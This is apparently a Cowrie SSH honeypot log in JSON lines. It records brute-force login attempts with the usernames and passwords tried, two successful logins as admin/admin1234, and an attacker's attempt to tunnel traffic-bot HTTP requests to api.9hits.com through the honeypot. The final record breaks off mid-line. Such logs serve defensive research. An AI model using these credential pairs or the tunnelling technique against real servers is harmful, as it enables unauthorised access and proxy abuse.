{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:24.699090Z","src_ip":"49.247.37.22","session":"efeed2d52982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx123","message":"login attempt [root/!QAZ2wsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:25.562924Z","src_ip":"49.247.37.22","session":"efeed2d52982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:26.779516Z","src_ip":"49.247.37.22","session":"efeed2d52982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:27.088127Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":47250,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4b2033f2ab7","protocol":"ssh","message":"New connection: 103.60.242.169:47250 (159.203.135.109:22) [session: d4b2033f2ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:29.281885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:29.285662Z","src_ip":"103.60.242.169","session":"d4b2033f2ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:29.532843Z","src_ip":"103.60.242.169","session":"d4b2033f2ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db","password":"db","message":"login attempt [db/db] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:30.562028Z","src_ip":"103.60.242.169","session":"d4b2033f2ab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:31.811836Z","src_ip":"103.60.242.169","session":"d4b2033f2ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":52303,"dst_ip":"10.17.0.5","dst_port":22,"session":"a122d340776c","protocol":"ssh","message":"New connection: 23.175.50.51:52303 (10.17.0.5:22) [session: a122d340776c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:56.433861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:56.438239Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:56.873898Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:58.333854Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":34682,"dst_ip":"159.203.135.109","dst_port":22,"session":"fccc224523ca","protocol":"ssh","message":"New connection: 101.79.165.43:34682 (159.203.135.109:22) [session: fccc224523ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:58.480680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:58.485223Z","src_ip":"101.79.165.43","session":"fccc224523ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:58.702730Z","src_ip":"101.79.165.43","session":"fccc224523ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@1234","message":"login attempt [root/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:59.605538Z","src_ip":"101.79.165.43","session":"fccc224523ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:00.825835Z","src_ip":"101.79.165.43","session":"fccc224523ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":54249,"dst_ip":"10.17.0.5","dst_port":22,"session":"599354918664","protocol":"ssh","message":"New connection: 63.141.242.2:54249 (10.17.0.5:22) [session: 599354918664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:02.663384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:02.671994Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:02.722343Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:04.443466Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":54718,"dst_ip":"159.203.135.109","dst_port":22,"session":"06767306f7de","protocol":"ssh","message":"New connection: 103.27.238.120:54718 (159.203.135.109:22) [session: 06767306f7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:07.630652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:07.634702Z","src_ip":"103.27.238.120","session":"06767306f7de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:07.912452Z","src_ip":"103.27.238.120","session":"06767306f7de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lermontov","message":"login attempt [root/lermontov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:08.748999Z","src_ip":"103.27.238.120","session":"06767306f7de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:10.028544Z","src_ip":"103.27.238.120","session":"06767306f7de","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:10.744214Z","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:10.819249Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=I28ofnlmcCFMZXFaekpBNA%3D%3DvBY%2FMMfNCBlZaJmz5yMPclqUOaDAcQgxi2LlYCf8Zv%2BS2aGwDMU4ASUJ5AkvqXfNguW1ZJiF1y5FzM0%2FKWovWRyJ81uwZvlQREh7cMLxjjsB%2FFSfLtsbX%2Bpd61g7Qx4iXKtQ3BsNFWEYl1COmq0fXk8DHCbOWCJP8qsS1c9Qm3%2FxQZu2s%2BmmMbh59bOd5ipY%2FnnMKWesnXNWU%2FaMM34vRW1GL9Kf%2BnUIKbp9X%2FzJoiFo4lrf%2B4qJR07JsNA5ciw4iwe4YXgviYdHprPijE%2FW4gC51AnJEEoQPC4jW80dFL7bzUKDPDmKZSwEQpu2bV6Nok6q3NZcbhbk37Q2t2c75qd4KWyEwcANieDvi6Za5aK90j5yW5DtHDpwDgol5ZmJpxkwMTtvpWDnXpmAQ9dpKNaX0u4uX92gyfMeuupc163brsjmFd1SDWreUJJ%2BSBFWSo6XFffg9tBH2gGIaL19Njs01%2FoZik1GhU1MBj3bY5GN2dUDPlhAcFXAjf90aiRJg8%2F3TMeDXW1JoZk0YB55QOaCarnniiZPvmPYrhWJKfSgU0xfU5BRcDR0jwC2s5QCjj1Cgz%2Fdj5g%2FAuqin09S3BoE6HV1Yk9dTvt0z3Wl6t0PjbXHTrNc4E2jRvm34YjW0rTPffW%2BLM9b3%2Bi8QBpyEiM3s%2BnPDa6e1YwE90AyXLLHrXMr2Go7xGo4bFSTu156S%2FIo0rhz6lm9%2B1eQ7NmyhORZDQpNKCZf1EbP8Nql4Dg%2BuX5iwpbweohPKX%2BZCSaT2kaWYkNxIhU%2F3y2C6RiuU6B455u6YO3Frp7YK%2BlTjrJ0SNyBLSxRhkdTplf5KCTzBpBwjguziJRzWh%2FF3Kq%2Fc382oUAItl1wWV07cpFcOK7ToaorZy9dO%2FteNJI3GJyw3g3%2FAJ%2Bo3Fbw2sKWDXC5L2dCgYZNbSA%2BRmAgAOf0c8dwOYHnHd0sWCWIeo1XF3VOiQU3CgGV5rJXs2OYwmTZFagTe%2BHVHBU7mRsrMwTcZU8YNX%2FqKW16%2B6zi2IX34%2FbWCos2UwseUaF%2BJmijcJtrOb1B9JjPmn%2F04GE1pyXgGtTffTTG%2B7c%2B%2B5seuvjh1pGs'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=I28ofnlmcCFMZXFaekpBNA%3D%3DvBY%2FMMfNCBlZaJmz5yMPclqUOaDAcQgxi2LlYCf8Zv%2BS2aGwDMU4ASUJ5AkvqXfNguW1ZJiF1y5FzM0%2FKWovWRyJ81uwZvlQREh7cMLxjjsB%2FFSfLtsbX%2Bpd61g7Qx4iXKtQ3BsNFWEYl1COmq0fXk8DHCbOWCJP8qsS1c9Qm3%2FxQZu2s%2BmmMbh59bOd5ipY%2FnnMKWesnXNWU%2FaMM34vRW1GL9Kf%2BnUIKbp9X%2FzJoiFo4lrf%2B4qJR07JsNA5ciw4iwe4YXgviYdHprPijE%2FW4gC51AnJEEoQPC4jW80dFL7bzUKDPDmKZSwEQpu2bV6Nok6q3NZcbhbk37Q2t2c75qd4KWyEwcANieDvi6Za5aK90j5yW5DtHDpwDgol5ZmJpxkwMTtvpWDnXpmAQ9dpKNaX0u4uX92gyfMeuupc163brsjmFd1SDWreUJJ%2BSBFWSo6XFffg9tBH2gGIaL19Njs01%2FoZik1GhU1MBj3bY5GN2dUDPlhAcFXAjf90aiRJg8%2F3TMeDXW1JoZk0YB55QOaCarnniiZPvmPYrhWJKfSgU0xfU5BRcDR0jwC2s5QCjj1Cgz%2Fdj5g%2FAuqin09S3BoE6HV1Yk9dTvt0z3Wl6t0PjbXHTrNc4E2jRvm34YjW0rTPffW%2BLM9b3%2Bi8QBpyEiM3s%2BnPDa6e1YwE90AyXLLHrXMr2Go7xGo4bFSTu156S%2FIo0rhz6lm9%2B1eQ7NmyhORZDQpNKCZf1EbP8Nql4Dg%2BuX5iwpbweohPKX%2BZCSaT2kaWYkNxIhU%2F3y2C6RiuU6B455u6YO3Frp7YK%2BlTjrJ0SNyBLSxRhkdTplf5KCTzBpBwjguziJRzWh%2FF3Kq%2Fc382oUAItl1wWV07cpFcOK7ToaorZy9dO%2FteNJI3GJyw3g3%2FAJ%2Bo3Fbw2sKWDXC5L2dCgYZNbSA%2BRmAgAOf0c8dwOYHnHd0sWCWIeo1XF3VOiQU3CgGV5rJXs2OYwmTZFagTe%2BHVHBU7mRsrMwTcZU8YNX%2FqKW16%2B6zi2IX34%2FbWCos2UwseUaF%2BJmijcJtrOb1B9JjPmn%2F04GE1pyXgGtTffTTG%2B7c%2B%2B5seuvjh1pGs'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:10.822588Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:12.492176Z","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:12.550272Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b\\xe6(}`\\xd7gz\\x9dc\\x19\\xa3\\xb4\\xdd\\x18.\\xbb\\x02\\xf1\\x9e\\x0c\\xffv\\xf2\\x0f\\xb3p\\x9e\\xd6aO\\x82 w2;\\x1c:\\xc6\\x8d\\xd6\\xb9\\xe9\\xa41\\xf9\\xb5\\xc4,B*!\\xc0\\xfePY\\xb6\\xde\\xc5\\x12!l\\x90\\xfcH\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 =eP\\xd3\\x1c\\xe3\\xd6\\xb8\\x0b\\xa6\\x05\\xb2\\xcf\\xd8\\x16\\xf4\\xb1L\\xa4\\xdb\\x15 